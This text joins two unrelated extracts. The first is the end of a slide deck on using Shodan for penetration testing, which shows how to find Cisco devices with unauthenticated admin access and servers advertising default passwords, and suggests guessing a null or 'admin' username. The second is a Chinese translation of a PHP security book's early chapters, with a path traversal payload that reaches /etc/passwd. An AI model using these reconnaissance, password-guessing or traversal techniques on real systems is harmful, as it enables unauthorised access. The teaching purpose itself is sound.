domain  net: filter results by a specific IP range or subnet  os: search for specific operating systems  port: narrow the search for specific services country port country, hostname, net, os, port Basic Operations: Country Filter  Filtering by country can be accomplished by clicking on the country map (available from the drop down menu)  Mouse over a country for the number of scanned hosts for a particular country Find all „apache‟ servers in Switzerland Top four countries matching your query Find „apache‟ servers running version 2.2.3 Basic Operations: Hostname Filter Search results can be filtered using any portion of a hostname or domain name Find „apache‟ servers in the .nist.gov domain Find „iis-5.0‟ servers in the .edu domain Basic Operations: Net / OS Filters  The net filter allows you to refine your searches by IP/CIDR notation  The OS filter allows you to refine searches by operating system Basic Operations: Port Filter  SHODAN can filter your search results by port  Current collection is limited to ports 21 (FTP), 22 (SSH), 23 (Telnet), and 80 (HTTP), while the overwhelming majority of collection is HTTP  More ports/services coming (send requests to the developer via Twitter) Basic Operations: Searches  Popular searches are available on the main page  Logged in users can save searches and share them with other users Basic Operations: Export  SHODAN lets you export up to 1,000 results per credit in XML format  Credits can be purchased online  Sample data export file is available PENETRATION TESTING SHODAN for Penetration Testers Pen Testing: Ethics (1)  Is it acceptable under any circumstances to view the configuration of a device that requires no authentication to view?  What about viewing the configuration of a device using a default username and password?  What about viewing the configuration of a device using a unique username and password?  Changing the configuration of any device? Pen Testing: Ethics (2) No authentication Default username and password Unique username and password Changing configurations Pen Testing Applications  Using SHODAN for penetration testing requires some basic knowledge of banners including HTTP status codes  Banners advertise service and version  Banners can be spoofed (unlikely?) Pen Testing: HTTP Status Codes Status Code Description 200 OK Request succeeded 401 Unauthorized Request requires authentication 403 Forbidden Request is denied regardless of authentication Pen Testing: Assumptions  “200 OK” banner results will load without any authentication (at least not initially)  “401 Unauthorized” banners with Www- authenticate indicate a username and password pop-up box (authentication is possible but not yet accomplished, as distinguished from “403 Forbidden”)  Some banners advertise defaults CASE STUDY: CISCO DEVICES SHODAN for Penetration Testers Case Study: Cisco Devices Here is a typical “401 Unauthorized” banner when using the simple search term “cisco”: Take note of the Www-authenticate line which indicates the requirement for a username and password Case Study: Cisco Devices Now consider an example of a “200 OK” banner which does not include the Www- authenticate line: Case Study: Cisco Devices A comparison of the two banners finds the second banner to include the Last-modified line which does not appear when Www-authenticate appears: In fact, among “cisco” results these two lines are more than 99% mutually exclusive Case Study: Cisco Results Search Results cisco 251,742 cisco-ios 226,184 cisco www-authenticate 225,402 cisco last-modified 4,265 cisco last-modified www-authenticate 56 Case Study: Cisco Results  This suggests that Cisco “200 OK” banners that include the Last-modified line do not require any authentication (at least not initially)  The results on the previous slide suggest there are potentially 4,200+ Cisco devices that do not require authentication Surely these HTML links will require some additional authentication… Nope. No authentication required for Level 15! No authentication required for configure commands No authentication required for Level 15 exec commands show running-config show cdp neighbors CASE STUDY: DEFAULT PASSWORDS SHODAN for Penetration Testers Case Study: Default Passwords (1)  The „default password‟ search locates servers that have those words in the banner  This doesn‟t suggest that these results will be using the defaults, but since they‟re advertising the defaults they would potentially be the lowest hanging fruit Case Study: Default Passwords (2) An example of a „default password‟ result: The server line indicates this is likely to be a print server; also note the “401” and Www- authenticate which indicates the likelihood of a username and password pop-up box Case Study: Default Passwords (3) This does not suggest that this device is using the default password, but it does mean that it is a possibility While no username is listed, a null username or “admin” is always a good guess And did it work? CASE STUDY: INFRASTRUCTURE EXPLOITATION SHODAN for Penetration Testers Case Study:  Two Cisco 3750 infrastructure switches with direct access to Cisco 7606 Router  VLAN IDs for internal ISP network, hotels, condos, apartments, convention center, public backbone…  SNMP server IP address and community strings OTHER EXAMPLES SHODAN for Penetration Testers Some general observations… javascript:SnapshotWin() client.html javascript:SnapshotWin() client.html setup/config.html system.html security.html network.html wireless.html ddns.html accesslist.html audiovideo.html cameracontrol.html mailftp.html motion.html application.html syslog.html parafile.html maintain.html THE FUTURE SHODAN for Penetration Testers The Future  API in the works for program integration  Summary report for export option  Software fingerprints  Collection of HTTPS CONCLUSIONS SHODAN for Penetration Testers Conclusions  SHODAN aggregates a significant amount of information that isn‟t already widely available in an easy to understand format  Allows for passive vulnerability analysis Bottom line: SHODAN is a potential game- changer for pen testers that will help shape the path for future vulnerability assessments Authors and add-ons  John Matherly (http://twitter.com/achillean)  Gianni Amato (SHODAN Helper)  sagar38 (SHODAN Search Provider) QUESTIONS SHODAN for Penetration Testers SHODAN for Penetration Testers Michael “theprez98” Schearer
pdf
《PHP 安全基础详解》 www.528163.cn 提供 《 《 《 《PHP 安全基础 安全基础 安全基础 安全基础详解 详解 详解 详解》 》 》 》 www.528163.cn 提供 《PHP 安全基础详解》 www.528163.cn 提供 第一章 第一章 第一章 第一章 简介 简介 简介 简介 PHP 已经由一个制作个人网页的工具发展成为了世界上最流行的网络编程 语言。它保证了许多网络上最繁忙的站点的运行。这一转变带来了亟待关注的问 题,那就是性能、可维护性、可测性、可靠性以及最重要的一点—安全性。 与语言的一些功能如条件表达式、循环结构等相比,安全性更为抽象。事实 上,安全性更像是开发者的特性而不是语言的特性。任何语言都不能防止不安全 的代码,尽管语言的有些特点能对有安全意识的开发人员有作用。 本书着眼于 PHP 语言,向您展示如何通过操纵 PHP 一些特殊的功能写出安 全的代码。本书中的概念,适用于任何网络开发平台。网络应用程序的安全是一 门年轻的和发展中的学科。本书会从理论出发,教会您一些好的习惯,使您能安 枕无忧,从容应对恶意者层出不穷的新的攻击和技巧。 本章是本书的基础部分。作为学习后续章节的前提,将教给您一些原则和经 验。 1.1.PHP 功能 功能 功能 功能 PHP 有许多适合于 WEB 开发的功能。一些在其它语言中很难实现的普通工 作在 PHP 中变得易如反掌,这有好处也有坏处。有一个功能比其它功能来更引 人注目,这个功能就是 register_globals。 1.1.1. 全局变量注册 全局变量注册 全局变量注册 全局变量注册 如果您还能记起早期 WEB 应用开发中使用 C 开发 CGI 程序的话,一定会 对繁琐的表单处理深有体会。当 PHP 的 register_globals 配置选项打开时,复杂 的原始表单处理不复存在,公用变量会自动建立。它让 PHP 编程变得容易和方 便,但同时也带来了安全隐患。 事实上,register_globals 是无辜的,它并不会产生漏洞,同时还要开发者犯 错才行。可是,有两个主要原因导致了您必须在开发和布署应用时关闭 register_globals: 第一,它会增加安全漏洞的数量; 第二,隐藏了数据的来源,与开发者需要随时跟踪数据的责任相违背。 《PHP 安全基础详解》 www.528163.cn 提供 本书中所有例子都假定 register_globals 已被关闭,用超级公用数组如$_GET 和 $_POST 取而代之。使用这些数组几乎与 register_globals 开启时的编程方法同 样方便,而其中的些许不便是值得的,因为它提高了程序的安全性。 小提示 如果您必须要开发一个在 register_globals 开启的环境中布署的应用时,很重 要的一点是您必须要初始化所有变量并且把 error_reporting 设为 E_ALL(或 E_ALL | E_STRICT)以对未初始化变量进行警告。当 register_globals 开启时,任 何使用未初始化变量的行为几乎就意味着安全漏洞。 1.1.2. 错误报告 错误报告 错误报告 错误报告 没有不会犯错的开发者,PHP 的错误报告功能将协助您确认和定位这些错 误。可以 PHP 提供的这些详细描述也可能被恶意攻击者看到,这就不妙了。使 大众看不到报错信息,这一点很重要。做到这一点很容易,只要关闭 display_errors,当然如果您希望得到出错信息,可以打开 log_errors 选项,并在 error_log 选项中设置出错日志文件的保存路径。 由于出错报告的级别设定可以导致有些错误无法发现,您至少需要把 error_reporting 设为 E_ALL(E_ALL | E_STRICT 是最高的设置, 提供向下兼容的 建议, 如不建议使用的提示). 所有的出错报告级别可以在任意级别进行修改,所以您如果使用的是共享的 主机,没有权限对 php.ini, httpd.conf, 或 .htaccess 等配置文件进行更改时,您可 以在程序中运行出错报告级别配置语句:<?php ini_set('error_reporting', E_ALL | E_STRICT); ini_set('display_errors', 'Off'); ini_set('log_errors', 'On'); ini_set('error_log', '/usr/local/apache/logs/error_log'); ?> 小提示 http://php.net/manual/ini.php 对 php.ini 的选项配置作了详尽的说明。 PHP 还允许您通过 set_error_handler( ) 函数指定您自已的出错处理函数: <?php set_error_handler('my_error_handler'); ?> 上面程序指定了您自已的出错处理函数 my_error_handler( ); 下面是一个实 《PHP 安全基础详解》 www.528163.cn 提供 际使用的示例:<?php function my_error_handler($number, $string, $file, $line, $context) { $error = "= == == == ==\nPHP ERROR\n= == == == ==\n"; $error .= "Number: [$number]\n"; $error .= "String: [$string]\n"; $error .= "File: [$file]\n"; $error .= "Line: [$line]\n"; $error .= "Context:\n" . print_r($context, TRUE) . "\n\n"; error_log($error, 3, '/usr/local/apache/logs/error_log'); } ?> 小提示 PHP 5 还允许向 set_error_handler( )传递第二个参数以限定在什么出错情况 下执行出定义的出错处理函数。比如,现在建立一个处理告警级别(warning) 错误的函数:<?php set_error_handler('my_warning_handler', E_WARNING); ?> PHP5 还提供了异常处理机制,详见 http://php.net/exceptions 1.2.原则 原则 原则 原则 你可以列出一大堆开发安全应用的原则,但在本处我选取了我认为对 PHP 开发者最重要的几个原则。 这些原则有意的写得抽象和理论化。这样做的目的是帮助你从大处着眼,不 拘泥于细节。你需要把它们看成是你行动的指南。 1.2.1. 深度防范 深度防范 深度防范 深度防范 深度防范原则是安全专业人员人人皆知的原则,它说明了冗余安全措施的价 值,这是被历史所证明的。 深度防范原则可以延伸到其它领域,不仅仅是局限于编程领域。使用过备份 伞的跳伞队员可以证明有冗余安全措施是多么的有价值,尽管大家永远不希望主 伞失效。一个冗余的安全措施可以在主安全措施失效的潜在的起到重大作用。 《PHP 安全基础详解》 www.528163.cn 提供 回到编程领域,坚持深度防范原则要求您时刻有一个备份方案。如果一个安 全措施失效了,必须有另外一个提供一些保护。例如,在用户进行重要操作前进 行重新用户认证就是一个很好的习惯,尽管你的用户认证逻辑里面没有已知缺 陷。如果一个未认证用户通过某种方法伪装成另一个用户,提示录入密码可以潜 在地避免未认证(未验证)用户进行一些关键操作。 尽管深度防范是一个合理的原则,但是过度地增加安全措施只能增加成本和 降低价值。 1.2.2. 最小权限 最小权限 最小权限 最小权限 我过去有一辆汽车有一个佣人钥匙。这个钥匙只能用来点火,所以它不能打 开车门、控制台、后备箱,它只能用来启动汽车。我可以把它给泊车员(或把它 留在点火器上),我确认这个钥匙不能用于其它目的。 把一个不能打开控制台或后备箱的钥匙给泊车员是有道理的,毕竟,你可能 想在这些地方保存贵重物品。但我觉得没有道理的是为什么它不能开车门。当然, 这是因为我的观点是在于权限的收回。我是在想为什么泊车员被取消了开车门的 权限。在编程中,这是一个很不好的观点。相反地,你应该考虑什么权限是必须 的,只能给予每个人完成他本职工作所必须的尽量少的权限。 一个为什么佣人钥匙不能打开车门的理由是这个钥匙可以被复制,而这个复 制的钥匙在将来可能被用于偷车。这个情况听起来不太可能发生,但这个例子说 明了不必要的授权会加大你的风险,即使是增加了很小权限也会如此。风险最小 化是安全程序开发的主要组成部分。 你无需去考虑一项权限被滥用的所有方法。事实上,你要预测每一个潜在攻 击者的动作是几乎不可能的。 1.2.3. 简单就是美 简单就是美 简单就是美 简单就是美 复杂滋生错误,错误能导致安全漏洞。这个简单的事实说明了为什么简单对 于一个安全的应用来说是多么重要。没有必要的复杂与没有必要的风险一样糟 糕。 例如,下面的代码摘自一个最近的安全漏洞通告: <?php $search = (isset($_GET['search']) ? $_GET['search'] : ''); ?> 这个流程会混淆$search 变量受污染*的事实,特别是对于缺乏经验的开发者 而言。上面语句等价于下面的程序:<?php 《PHP 安全基础详解》 www.528163.cn 提供 $search = ''; if (isset($_GET['search'])) { $search = $_GET['search']; } ?> 上面的两个处理流程是完全相同的。现在请注意一下下面的语句: $search = $_GET['search']; 使用这一语句,在不影响流程的情况下,保证了$search 变量的状态维持原 样,同时还可以看出它是否受污染。 * 译注:受污染变量,即在程序执行过程中,该变量的值不是由赋值语句直 接指定值,而是来自其它来源,如控制台录入、数据库等。 1.2.4. 暴露最小化 暴露最小化 暴露最小化 暴露最小化 PHP 应用程序需要在 PHP 与外部数据源间进行频繁通信。主要的外部数据 源是客户端浏览器和数据库。如果你正确的跟踪数据,你可以确定哪些数据被暴 露了。Internet 是最主要的暴露源,这是因为它是一个非常公共的网络,您必须 时刻小心防止数据被暴露在 Internet 上。 数据暴露不一定就意味着安全风险。可是数据暴露必须尽量最小化。例如, 一个用户进入支付系统,在向你的服务器传输他的信用卡数据时,你应该用 SSL 去保护它。如果你想要在一个确认页面上显示他的信用卡号时,由于该卡号信息 是由服务器发向他的客户端的,你同样要用 SSL 去保护它。 再谈谈上一小节的例子,显示信用卡号显然增加了暴露的机率。SSL 确实可 以降低风险,但是最佳的解决方案是通过只显示最后四位数,从而达到彻底杜绝 风险的目的。 为了降低对敏感数据的暴露率,你必须确认什么数据是敏感的,同时跟踪它, 并消除所有不必要的数据暴露。在本书中,我会展示一些技巧,用以帮助你实现 对很多常见敏感数据的保护。 1.3.方法 方法 方法 方法 就像上一节中的原则一样,开发安全应用时,还有很多方法可以使用。下面 提到的所有方法同样是我认为比较重要的。 《PHP 安全基础详解》 www.528163.cn 提供 某些方法是抽象的,但每一个都有实例说明如何应用及其目的。 1.3.1. 平衡风险与可用性 平衡风险与可用性 平衡风险与可用性 平衡风险与可用性 用户操作的友好性与安全措施是一对矛盾,在提高安全性的同时,通常会降 低可用性。在你为不合逻辑的使用者写代码时,必须要考虑到符合逻辑的正常使 用者。要达到适当的平衡的确很难,但是你必须去做好它,没有人能替代你,因 为这是你的软件。 尽量使安全措施对用户透明,使他们感受不到它的存在。如果实在不可能, 就尽量采用用户比较常见和熟悉的方式来进行。例如,在用户访问受控信息或服 务前让他们输入用户名和密码就是一种比较好的方式。 当你怀疑可能有非法操作时,必须意识到你可能会搞借。例如,在用户操作 时如果系统对用户身份有疑问时,通常用让用户再次录入密码。这对于合法用户 来说只是稍有不便,而对于攻击者来说则是铜墙铁壁。从技术上来说,这与提示 用户进行重新登录基本是一样的,但是在用户感受上,则有天壤之别。 没有必要将用户踢出系统并指责他们是所谓的攻击者。当你犯错时,这些流 程会极大的降低系统的可用性,而错误是难免的。 在本书中,我着重介绍透明和常用的安全措施,同时我建议大家对疑似攻击 行为做出小心和明智的反应。 1.3.2. 跟踪数据 跟踪数据 跟踪数据 跟踪数据 作为一个有安全意识的开发者,最重要的一件事就是随时跟踪数据。不只是 要知道它是什么和它在哪里,还要知道它从哪里来,要到哪里去。有时候要做到 这些是困难的,特别是当你对 WEB 的运做原理没有深入理解时。这也就是为什 么尽管有些开发者在其它开发环境中很有经验,但他对 WEB 不是很有经验时, 经常会犯错并制造安全漏洞。 大多数人在读取 EMAIL 时,一般不会被题为"Re: Hello"之类的垃圾邮件所 欺骗,因为他们知道,这个看起来像回复的主题是能被伪造的。因此,这封邮件 不一定是对前一封主题为"Hello."的邮件的回复。简而言之,人们知道不能对这 个主题不能太信任。但是很少有人意识到发件人地址也能被伪造,他们错误地认 为它能可靠地显示这个 EMAIL 的来源。 Web 也非常类似,我想教给大家的其中一点是如何区分可信的和不可信的数 据。做到这一点常常是不容易的,盲目的猜测并不是办法。 PHP 通过超级全局数组如$_GET, $_POST, 及$_COOKIE 清楚地表示了用户 数据的来源。一个严格的命名体系能保证你在程序代码的任何部分知道所有数据 《PHP 安全基础详解》 www.528163.cn 提供 的来源,这也是我一直所示范和强调的。 知道数据在哪里进入你的程序是极为重要的,同时知道数据在哪里离开你的 程序也很重要。例如,当你使用 echo 指令时,你是在向客户端发送数据;当你 使用 mysql_query 时,你是在向 MySQL 数据库发送数据(尽管你的目的可能是 取数据)。 在我审核 PHP 代码是否有安全漏洞时,我主要检查代码中与外部系统交互 的部分。这部分代码很有可能包含安全漏洞,因此,在开发与代码检查时必须要 加以特别仔细的注意。 1.3.3. 过滤输入 过滤输入 过滤输入 过滤输入 过滤是 Web 应用安全的基础。它是你验证数据合法性的过程。通过在输入 时确认对所有的数据进行过滤,你可以避免被污染(未过滤)数据在你的程序中 被误信及误用。大多数流行的 PHP 应用的漏洞最终都是因为没有对输入进行恰 当过滤造成的。 我所指的过滤输入是指三个不同的步骤: l 识别输入 l 过滤输入 l 区分已过滤及被污染数据 把识别输入做为第一步是因为如果你不知道它是什么,你也就不能正确地过 滤它。输入是指所有源自外部的数据。例如,所有发自客户端的是输入,但客户 端并不是唯一的外部数据源,其它如数据库和 RSS 推送等也是外部数据源。 由用户输入的数据非常容易识别,PHP 用两个超级公用数组$_GET 和 $_POST 来存放用户输入数据。其它的输入要难识别得多,例如,$_SERVER 数 组中的很多元素是由客户端所操纵的。常常很难确认$_SERVER 数组中的哪些元 素组成了输入,所以,最好的方法是把整个数组看成输入。 在某些情况下,你把什么作为输入取决于你的观点。例如,session 数据被 保存在服务器上,你可能不会认为 session 数据是一个外部数据源。如果你持这 种观点的话,可以把 session 数据的保存位置是在你的软件的内部。意识到 session 的保存位置的安全与软件的安全是联系在一起的事实是非常明智的。同样的观点 可以推及到数据库,你也可以把它看成你软件的一部分。 一般来说,把 session 保存位置与数据库看成是输入是更为安全的,同时这 也是我在所有重要的 PHP 应用开发中所推荐的方法。 《PHP 安全基础详解》 www.528163.cn 提供 一旦识别了输入,你就可以过滤它了。过滤是一个有点正式的术语,它在平 时表述中有很多同义词,如验证、清洁及净化。尽管这些大家平时所用的术语稍 有不同,但它们都是指的同一个处理:防止非法数据进入你的应用。 有很多种方法过滤数据,其中有一些安全性较高。最好的方法是把过滤看成 是一个检查的过程。请不要试图好心地去纠正非法数据,要让你的用户按你的规 则去做,历史证明了试图纠正非法数据往往会导致安全漏洞。例如,考虑一下下 面的试图防止目录跨越的方法(访问上层目录)。<?php $filename = str_replace('..', '.', $_POST['filename']); ?> 你能想到$_POST['filename']如何取值以使$filename 成为 Linux 系统中用户 口令文件的路径../../etc/passwd 吗? 答案很简单: .../.../etc/passwd 这个特定的错误可以通过反复替换直至找不到为止:<?php $filename = $_POST['filename']; while (strpos($_POST['filename'], '..') != = FALSE) { $filename = str_replace('..', '.', $filename); } ?> 当然,函数 basename( )可以替代上面的所有逻辑,同时也能更安全地达到 目的。不过重要点是在于任何试图纠正非法数据的举动都可能导致潜在错误并允 许非法数据通过。只做检查是一个更安全的选择。 译注:这一点深有体会,在实际项目曾经遇到过这样一件事,是对一个用户 注册和登录系统进行更改,客户希望用户名前后有空格就不能登录,结果修改时 对用户登录程序进行了更改,用 trim()函数把输入的用户名前后的空格去掉了 (典型的好心办坏事),但是在注册时居然还是允许前后有空格!结果可想而知。 除了把过滤做为一个检查过程之外,你还可以在可能时用白名单方法。它是 指你需要假定你正在检查的数据是非法的,除非你能证明它是合法的。换而言之, 你宁可在小心上犯错。使用这个方法,一个错误只会导致你把合法的数据当成是 非法的。尽管不想犯任何错误,但这样总比把非法数据当成合法数据要安全得多。 通过减轻犯错引起的损失,你可以提高你的应用的安全性。尽管这个想法在理论 上是很自然的,但历史证明,这是一个很有价值的方法。 《PHP 安全基础详解》 www.528163.cn 提供 如果你能正确可靠地识别和过滤输入,你的工作就基本完成了。最后一步是 使用一个命名约定或其它可以帮助你正确和可靠地区分已过滤和被污染数据的 方法。我推荐一个比较简单的命名约定,因为它可以同时用在面向过程和面向对 象的编程中。我用的命名约定是把所有经过滤的数据放入一个叫$clean 的数据 中。你需要用两个重要的步骤来防止被污染数据的注入: l 经常初始化$clean 为一个空数组。 l 加入检查及阻止来自外部数据源的变量命名为 clean, 实际上,只有初始化是至关紧要的,但是养成这样一个习惯也是很好的:把 所有命名为 clean 的变量认为是你的已过滤数据数组。这一步骤合理地保证了 $clean 中只包括你有意保存进去的数据,你所要负责的只是不在$clean 存在被污 染数据。 为了巩固这些概念,考虑下面的表单,它允许用户选择三种颜色中的一种; <form action="process.php" method="POST"> Please select a color: <select name="color"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option> </select> <input type="submit" /> </form> 在处理这个表单的编程逻辑中,非常容易犯的错误是认为只能提交三个选择 中的一个。在第二章中你将学到,客户端能提交任何数据作为$_POST['color']的 值。为了正确地过滤数据,你需要用一个 switch 语句来进行:<?php $clean = array( ); switch($_POST['color']) { case 'red': case 'green': case 'blue': $clean['color'] = $_POST['color']; break; } ?> 本例中首先初始化了$clean 为空数组以防止包含被污染的数据。一旦证明 $_POST['color']是 red, green, 或 blue 中的一个时,就会保存到$clean['color']变量 《PHP 安全基础详解》 www.528163.cn 提供 中。因此,可以确信$clean['color']变量是合法的,从而在代码的其它部分使用它。 当然,你还可以在 switch 结构中加入一个 default 分支以处理非法数据的情况。 一种可能是再次显示表单并提示错误。特别小心不要试图为了友好而输出被污染 的数据。 上面的方法对于过滤有一组已知的合法值的数据很有效,但是对于过滤有一 组已知合法字符组成的数据时就没有什么帮助。例如,你可能需要一个用户名只 能由字母及数字组成:<?php $clean = array( ); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } ?> 尽管在这种情况下可以用正则表达式,但使用 PHP 内置函数是更完美的。 这些函数包含错误的可能性要比你自已写的代码出错的可能性要低得多,而且在 过滤逻辑中的一个错误几乎就意味着一个安全漏洞。 1.3.4. 输出转义 输出转义 输出转义 输出转义 另外一个 Web 应用安全的基础是对输出进行转义或对特殊字符进行编码, 以保证原意不变。例如,O'Reilly 在传送给 MySQL 数据库前需要转义成 O\'Reilly。 单引号前的反斜杠代表单引号是数据本身的一部分,而不是并不是它的本义。 我所指的输出转义具体分为三步: l 识别输出 l 输出转义 l 区分已转义与未转义数据 只对已过滤数据进行转义是很有必要的。尽管转义能防止很多常见安全漏 洞,但它不能替代输入过滤。被污染数据必须首先过滤然后转义。 在对输出进行转义时,你必须先识别输出。通常,这要比识别输入简单得多, 因为它依赖于你所进行的动作。例如,识别到客户端的输出时,你可以在代码中 查找下列语句: echo 《PHP 安全基础详解》 www.528163.cn 提供 print printf <?= 作为一项应用的开发者,你必须知道每一个向外部系统输出的地方。它们构 成了输出。 象过滤一样,转义过程在依情形的不同而不同。过滤对于不同类型的数据处 理方法也是不同的,转义也是根据你传输信息到不同的系统而采用不同的方法。 对于一些常见的输出目标(包括客户端、数据库和 URL)的转义,PHP 中 有内置函数可用。如果你要写一个自己算法,做到万无一失很重要。需要找到在 外系统中特殊字符的可靠和完整的列表,以及它们的表示方式,这样数据是被保 留下来而不是转译了。 最常见的输出目标是客户机,使用 htmlentities( )在数据发出前进行转义是最 好的方法。与其它字符串函数一样,它输入是一个字符串,对其进行加工后进行 输出。但是使用 htmlentities( )函数的最佳方式是指定它的两个可选参数:引号的 转义方式(第二参数)及字符集(第三参数)。引号的转义方式应该指定为 ENT_QUOTES,它的目的是同时转义单引号和双引号,这样做是最彻底的,字 符集参数必须与该页面所使用的字符集相必配。 为了区分数据是否已转义,我还是建议定义一个命名机制。对于输出到客户 机的转义数据,我使用$html 数组进行存储,该数据首先初始化成一个空数组, 对所有已过滤和已转义数据进行保存。<?php $html = array( ); $html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); echo "<p>Welcome back, {$html['username']}.</p>"; ?> 小提示 htmlspecialchars( )函数与 htmlentities( )函数基本相同,它们的参数定义完全 相同,只不过是 htmlentities( )的转义更为彻底。 通过$html['username']把 username 输出到客户端,你就可以确保其中的特殊 字符不会被浏览器所错误解释。如果 username 只包含字母和数字的话,实际上 转义是没有必要的,但是这体现了深度防范的原则。转义任何的输出是一个非常 好的习惯,它可以戏剧性地提高你的软件的安全性。 另外一个常见的输出目标是数据库。如果可能的话,你需要对 SQL 语句中 的数据使用 PHP 内建函数进行转义。对于 MySQL 用户,最好的转义函数是 《PHP 安全基础详解》 www.528163.cn 提供 mysql_real_escape_string( )。如果你使用的数据库没有 PHP 内建转义函数可用的 话,addslashes( )是最后的选择。 下面的例子说明了对于 MySQL 数据库的正确的转义技巧:<?php $mysql = array( ); $mysql['username'] = mysql_real_escape_string($clean['username']); $sql = "SELECT * FROM profile WHERE username = '{$mysql['username']}'"; $result = mysql_query($sql); ?> 第二章 第二章 第二章 第二章 表单及 表单及 表单及 表单及 URL 本章主要讨论表单处理,同时还有在处理来自表单和 URL 数据时需要加以 注意的最常见的攻击类型。你可以学到例如跨站脚本攻击(XSS)及跨站请求伪 造(CSRF)等攻击方式,同时还能学到如何手工制作欺骗表单及 HTTP 请求。 通过本章的学习,你不仅可以看到这些攻击方法的实例,而且可以学到防范 它们的方法。 小提示 跨站脚本攻击漏洞的产生主要是由于你误用了被污染的数据。虽说大多数应 用的主要输入源是用户,但任何一个远程实体都可以向你的软件输入恶意数据。 本章中所描述的多数方法直接适于用于处理任何一个远程实体的输入,而不仅仅 是用户。关于输入的过滤详见第一章。 2.1. 表单与数据 表单与数据 表单与数据 表单与数据 在典型的 PHP 应用开发中,大多数的逻辑涉及数据处理任务,例如确认用 户是否成功登录,在购物车中加入商品及处理信用卡交易。 数据可能有无数的来源,做为一个有安全意识的开发者,你需要简单可靠地 区分两类数据: l 已过滤数据 l 被污染数据 《PHP 安全基础详解》 www.528163.cn 提供 所有你自己设定的数据可信数据,可以认为是已过滤数据。一个你自己设定 的数据是任何的硬编码数据,例如下面的 email 地址数据: $email = 'chris@example.org'; 上面的 Email 地址 chris@example.org 并不来自任何远程数据源。显而易见 它是可信的。任何来自远程数据源的数据都是输入,而所有的输入数据都是被污 染的,必须在要在使用前对其进行过滤。 被污染数据是指所有不能保证合法的数据,例如用户提交的表单,从邮件服 务器接收的邮件,及其它 web 应用中发送过来的 xml 文档。在前一个例子中, $email 是一个包含有已过滤数据的变量。数据是关键,而不是变量。变量只是数 据的容器,它往往随着程序的执行而为被污染数据所覆盖: $email = $_POST['email']; 当然,这就是$email 叫做变量的原因,如果你不希望数据进行变化,可以使 用常量来代替: define('EMAIL', 'chris@example.org'); 如果用上面的语句进行定义,EMAIL 在整个脚本运行中是一个值为 chris@example.org 的不变的常量,甚至在你把试图把它重新赋值时也不会改变 (通常是不小心)。例如,下面的代码输出为 chris@example.org (试图重定义一 个常量会引起一个级别为 Notice 的报错信息)。 <?php define('EMAIL', 'chris@example.org'); define('EMAIL', 'rasmus@example.org'); echo EMAIL; ?> 小提示 欲更多了解常量, 请访问 http://php.net/constants. 正如第一章中所讨论过的,register_globals 可使确定一个变量如$email 的来 源变得十分困难。所有来自外部数据源的数据在被证明合法前都应该被认为被污 染的。 尽管一个用户能用多种方式发送数据,大多数应用还是依据表单的提交结果 进行最重要的操作。另外一个攻击者只要通过操纵提交数据(你的应用进行操作 《PHP 安全基础详解》 www.528163.cn 提供 的依据)即可危害,而表单向他们方便地开放了你的应用的设计方案及你需要使 用的数据。这也是表单处理是所有 Web 应用安全问题中的首先要关心的问题的 原因。 一个用户可以通过三种方式您的应用传输数据: l 通过 URL(如 GET 数据方式) l 通过一个请求的内容(如 POST 数据方式) l 通过 HTTP 头部信息(如 Cookie) 由于 HTTP 头部信息并不与表单处理直接相关,在本章中不作讨论。通常, 对 GET 与 POST 数据的怀疑可以推及到所有输入,包括 HTTP 头部信息。 表单通过 GET 或 POST 请求方式传送数据。当你建立了一个 HTML 表单, 你需要在 form 标签的 method 属性中指定请求方式: 在前例中,请求方式被指定为 GET,浏览器将通过 URL 的请求串部分传输 数据,例如,考虑下面的表单: <form action="http://example.org/login.php" method="GET"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" /></p> </form> 如果我输入了用户名 chris 和密码 mypass,在表单提交后,我会到达 URL 为 http://example.org/login.php?username=chris&password=mypass 的页面。该 URL 最简单的合法 HTTP/1.1 请求信息如下: GET /login.php?username=chris&password=mypass HTTP/1.1 Host: example.org 并不是必须要使用 HTML 表单来请求这个 URL,实际上通过 HTML 表单的 GET 请求方式发送数据与用户直接点击链接并没有什么不同。 记住如果你在 GET 方式提交的表单中的 action 中试图使用请求串,它会被 表单中的数据所取代。 而且,如果你指定了一个非法的请求方式,或者请求方式属性未写,浏览器 则会默认以 GET 方式提交数据。 《PHP 安全基础详解》 www.528163.cn 提供 为说明 POST 请求方式,只对上例进行简单的更改,考虑把 GET 请求方式 更改为 POST 的情况: <form action="http://example.org/login.php" method="POST"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" /></p> </form> 如果我再次指定用户名 chris 和密码 mypass,在提交表单后,我会来到 http://example.org/login.php 页面。表单数据在请求的内部而不是一个 URL 的请 求串。该方式最简单的合法 HTTP/1.1 请求信息如下 POST /login.php HTTP/1.1 Host: example.org Content-Type: application/x-www-form-urlencoded Content-Length: 30 username=chris&password=mypass 现在你已看到用户向你的应用提供数据的主要方式。在下面的小节中,我们 将会讨论攻击者是如何利用你的表单和 URL 作为进入你的应用的缺口的。 2.2. 语义 URL 攻击 好奇心是很多攻击者的主要动机,语义 URL 攻击就是一个很好的例子。此 类攻击主要包括对 URL 进行编辑以期发现一些有趣的事情。例如,如果用户 chris 点击了你的软件中的一个链接并到达了页面 http://example.org/private.php?user=chris, 很自然地他可能会试图改变 user 的值, 看看会发生什么。例如,他可能访问 http://example.org/private.php?user=rasmus 来看一下他是否能看到其他人的信息。虽然对 GET 数据的操纵只是比对 POST 数据稍为方便,但它的暴露性决定了它更为频繁的受攻击,特别是对于攻击的新 手而言。 大多数的漏洞是由于疏漏而产生的,而不是特别复杂的原因引起的。虽然很 多有经验的程序员能轻易地意识到上面所述的对 URL 的信任所带来的危险,但 是常常要到别人指出才恍然大悟。 为了更好地演示语义 URL 攻击及漏洞是如何被疏忽的,以一个 Webmail 系 统为例,该系统主要功能是用户登录察看他们自己的邮件。任何基于用户登录的 系统都需要一个密码找回机制。通常的方法是询问一个攻击者不可能知道的问题 (如你的计算机的品牌等,但如果能让用户自己指定问题和答案更佳),如果问 题回答正确,则把新的密码发送到注册时指定的邮件地址。 对于一个 Webmail 系统,可能不会在注册时指定邮件地址,因此正确回答问 《PHP 安全基础详解》 www.528163.cn 提供 题的用户会被提示提供一个邮件地址(在向该邮件地址发送新密码的同时,也可 以收集备用邮件地址信息)。下面的表单即用于询问一个新的邮件地址,同时他 的帐户名称存在表单的一个隐藏字段中: <form action="reset.php" method="GET"> <input type="hidden" name="user" 